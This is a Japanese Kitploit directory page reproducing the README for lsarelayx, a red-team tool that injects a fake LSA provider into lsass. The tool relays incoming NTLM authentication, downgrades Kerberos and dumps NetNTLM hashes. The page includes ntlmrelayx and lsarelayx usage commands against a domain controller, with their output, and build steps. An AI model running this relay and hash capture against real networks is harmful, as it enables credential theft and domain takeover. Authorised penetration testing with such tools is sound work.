Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
lsarelayx — システム全体のNTLMリレーツール。Windows認証APIをフックして、受信したNTLM接続をリレーし、Kerberosをダウングレードし、オフラインクラッキング用のNetNTLMハッシュをダンプします。 | Kitploit
ツール/GitHubGitHub/ccob/lsarelayx
パスワード攻撃エクスプロイトペネトレーションテスト認証レッドチーミング
GitHubccob/lsarelayx

lsarelayx

システム全体のNTLMリレーツール。Windows認証APIをフックして、受信したNTLM接続をリレーし、Kerberosをダウングレードし、オフラインクラッキング用のNetNTLMハッシュをダンプします。

リポジトリを見る
5846614年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

lsarelayx

はじめに

lsarelayxは、システム全体のNTLMリレーツールであり、実行中のホストへの着信NTLMベースの認証をリレーするために設計されています。lsarelayxは、SMBを含むあらゆる着信認証要求をリレーします。既存のアプリケーション認証フローにフックするため、リレー完了後、元の認証要求にもサービスを提供しようと試みます。これにより、ターゲットアプリケーション/プロトコルがエラーを表示するのを防ぎ、lsarelayxホストに対して認証を行うエンドユーザーにとっては通常通り機能します。

機能

  • SMB、HTTP/HTTPS、LDAP/LDAPS、またはWindows認証APIを実装するその他のサードパーティアプリケーションを含む、システム全体のNTLM接続をリレーします。
  • 可能な場合、着信Kerberos認証要求をNTLMにダウングレードします。これにより、従来はKerberos認証を試みていたクライアントがNTLMにフォールバックするようになります。
  • リレーされたユーザーのグループメンバーシップ情報を取得し、元の要求に対する正しい認証トークンを作成するためにLDAPクエリを実行します。
  • オフラインクラッキングのためにNetNTLMメッセージをダンプします。
  • リレーを行わず、キャプチャしたNetNTLMハッシュのみをダンプするパッシブモードをサポートします(このモードではKerberosダウングレードはありません)。

仕組み

lsarelayxは3つの部分から構成されます。liblsarelay.dll内に実装された偽のLSA認証プロバイダ、制御インターフェースとしてのユーザーモードコンソールアプリケーション、そしてRAWという新しいntlmrelayxサーバーモジュールです。

liblsarelayx.dll

liblsarelayx.dllは、lsarelayxによってロードされるLSA認証プロバイダです。その主な目的は、NTLMおよびNegotiateパッケージをフックして、認証要求をローカル名前付きパイプを介してlsarelayxにリダイレクトし、NetNTLMハッシュのリレーとダンプを行うことです。liblsarelayxは可能な限りシンプルに設計されており、すべての重い処理はlsarelayxによって実行されます。

lsarelayx.exe

lsarelayx.exeは、カスタムLSA認証プロバイダ(liblsarelayx.dll)をロードし、認証プロバイダからのNTLMおよびNegotiateトークンを受信してntlmrelayxのRAWサーバーモジュールにリレーするためのメインコンソールアプリケーションです。また、リレーされたユーザーのグループ情報をキャプチャし、LSA認証プロバイダに返すために使用されるLDAPクエリも実行します。

RAW ntlmrelayxモジュール

impacketのntlmrelayxは、リレー攻撃を実装するために多大な作業を行っており、今後も改善と新たな攻撃の追加が続くでしょう。これを活用するため、lsarelayx内で直接攻撃を再実装する代わりに、RAWと呼ばれる新しいntlmrelayxサーバーモジュールが作成されました。現在、RAWサーバーモジュールを実装したGitHub上のPRが公開されています。RAWサーバーモジュールはプロトコルに依存せず、lsarelayxのようなサードパーティソフトウェアから生のNTLMメッセージを直接受け入れるように設計されています。

PRがメインラインのimpacketリポジトリにマージされるまでは、このバージョンを使用できます。

使用方法

アクティブモード

まず、ntlmrelayx RAWサーバーモジュールを起動して、lsarelayxから渡されるRAW NTLMメッセージを待ち受けます。

root@kitploit:~
python examples\ntlmrelayx.py -smb2support --no-wcf-server --no-smb-server --no-http-server "-t" smb://dc.victim.lan

Impacket v0.9.24.dev1+20211015.125134.c0ec6102 - Copyright 2021 SecureAuth Corporation

[*] Protocol Client DCSYNC loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client SMTP loaded..
[*] Running in relay mode to single host
[*] Setting up RAW Server on port 6666

[*] Servers started, waiting for connections

lsarelayx自体を実行するにはローカル管理者権限が必要です。アクティブリレーモードで実行するには、ntlmrelayxがRAWサーバーモジュールを実行しているホストアドレスを指定する必要があります。デフォルトポートは6666です。これは--port引数でオーバーライドできますが、ntlmrelayx側でも--raw-port引数を使用してポートをオーバーライドしていることを確認してください。

root@kitploit:~
lsarelayx.exe --host 192.168.1.1
[+] Using 192.168.1.1:6666 for relaying NTLM connections
[=] Attempting to load LSA plugin C:\users\Administrator\Desktop\liblsarelayx.dll

パッシブモード

lsarelayxは引数なしで実行することでパッシブモードでも動作します。

root@kitploit:~
lsarelayx.exe
[=] No host supplied, switching to passive mode
[=] Attempting to load LSA plugin C:\users\Administrator\Desktop\liblsarelayx.dll

注意点

liblsarelayx DLLがlsassにロードされると、LSAプラグインの仕組みの制限により、現在のところアンロードできません。クライアントを閉じることでDLLを休止状態にすることはできますが、DLLは再起動まで使用され続けます。DLLが再び起動するまで休止状態になります。

LSAプラグインは実際には正規のプラグインではないため、プラグイン内にリフレクティブ・ローダーを実装し、自由に停止・起動できるようにする計画がありますが、それは別の機会に譲ります。

開発はWindows 10およびServer 2016で行われました。Windows Server 2012 R2で簡単なテストを行い動作しましたが、フックのオフセット計算が2012では失敗する可能性があります(これはlookuppackage-hint=を使用して手動で指定できます。間違えるとWindowsが再起動します)。デスクトップ側ではWindows 10未満のテストは行っておらず、Server 2019では全くテストしていません。

!!警告!!

liblsarelayx.dllは、重要なlsass.exeプロセス内にロードされます。liblsarelayx.dllにlsass.exeをクラッシュさせるバグがある場合、ホストは60秒後に必ず再起動します。バグのないコードを書くための最善の努力は払っていますが、何も保証はできません。lsarelayxを使用して、多忙なファイルサーバーをダウンさせ、フォーチュン500のクライアントを倒しても泣きついてこないでください。

ビルド

Docker

Dockerがインストールされている場合、これが最も迅速な方法です。すべてのビルド依存関係がプリインストールされたccob/windows_crossイメージを使用します。

Windows上のDocker (Powershell)

root@kitploit:~
docker run --rm -it -v $env:pwd\:/root/lsarelayx ccob/windows_cross:latest /bin/bash -c "cd /root/lsarelayx; mkdir build; cd build; cmake -DCMAKE_INSTALL_PREFIX=/root/lsarelayx/dist -DCMAKE_BUILD_TYPE=MinSizeRel -DCMAKE_TOOLCHAIN_FILE=../toolchain/Linux-mingw64.cmake ..; --build . --target install/strip"

Linux上のDocker

root@kitploit:~
docker run --rm -it -v $(pwd):/root/lsarelayx ccob/windows_cross:latest /bin/bash -c "cd /root/lsarelayx; mkdir build; cd build; cmake -DCMAKE_INSTALL_PREFIX=/root/lsarelayx/dist -DCMAKE_BUILD_TYPE=MinSizeRel -DCMAKE_TOOLCHAIN_FILE=../toolchain/Linux-mingw64.cmake ..; cmake --build . --target install/strip"

Linux

Linuxでは、CMakeツールチェーンとMinGWコンパイラを使用します。これらは事前にインストールしておく必要があります。マネージドコンポーネントについては、.NET Coreからdotnetコマンドラインツールもインストールされていることを確認してください。

root@kitploit:~
mkdir build
cd build
cmake -DCMAKE_INSTALL_PREFIX=$PWD/dist -DCMAKE_BUILD_TYPE=MinSizeRel -DCMAKE_TOOLCHAIN_FILE=../toolchain/Linux-mingw64.cmake ..
cmake --build . --target install/strip

Windows (Powershell)

Windowsでは、ビルドを試みる前に完全なCMake、MinGW、Visual Studioのセットアップが必要であり、開発環境がインストールされていない場合、最も面倒なビルド方法です。

root@kitploit:~
mkdir build
cd build
cmake -DCMAKE_INSTALL_PREFIX=$PWD/dist -DCMAKE_BUILD_TYPE=MinSizeRel -G "MinGW Makefiles" ..
cmake --build . --target install/strip
ツールをダウンロード